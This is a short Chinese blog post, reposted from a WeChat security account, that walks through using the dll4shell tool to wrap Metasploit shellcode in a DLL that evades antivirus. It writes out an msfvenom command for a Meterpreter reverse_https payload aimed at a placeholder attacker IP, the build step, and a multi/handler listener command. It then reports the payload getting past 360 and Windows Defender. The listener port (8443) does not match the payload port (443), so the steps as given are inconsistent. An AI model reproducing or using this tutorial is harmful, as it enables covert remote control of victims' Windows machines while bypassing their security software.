shellcode免杀工具-dll4shell

项目地址：https://github.com/cepxeo/dll4shell

此项目基于https://github.com/9emin1/charlotte 工具

项目首页：

首先把项目下载到本地来，作者步骤都写好了：

下载回来先装好环境，保证程序可以运行。

然后使用 msf 生成一个 raw 格式的 shellcode，命令：

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=YOUR_IP LPORT=443 EXITFUNC=thread -f raw -e x64/xor_dynamic -a x64 -o beacon.bin

把生成的 .bin 后缀木马文件放到 dll4shell 目录下，然后运行如下命令：

python dll4shell.py -e xor -o dll

此程序会自动寻找 beacon.bin 文件，将它编译为 dll 文件，执行方式在程序最后一段打印输出

我们使用下面命令建立监听

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST YOUR_IP; set LPORT 8443; exploit"

测试360上线

成功上线

defender上线

本地只测试了这两款杀软

原文始发于微信公众号（刨洞技术交流）：shellcode免杀工具-dll4shell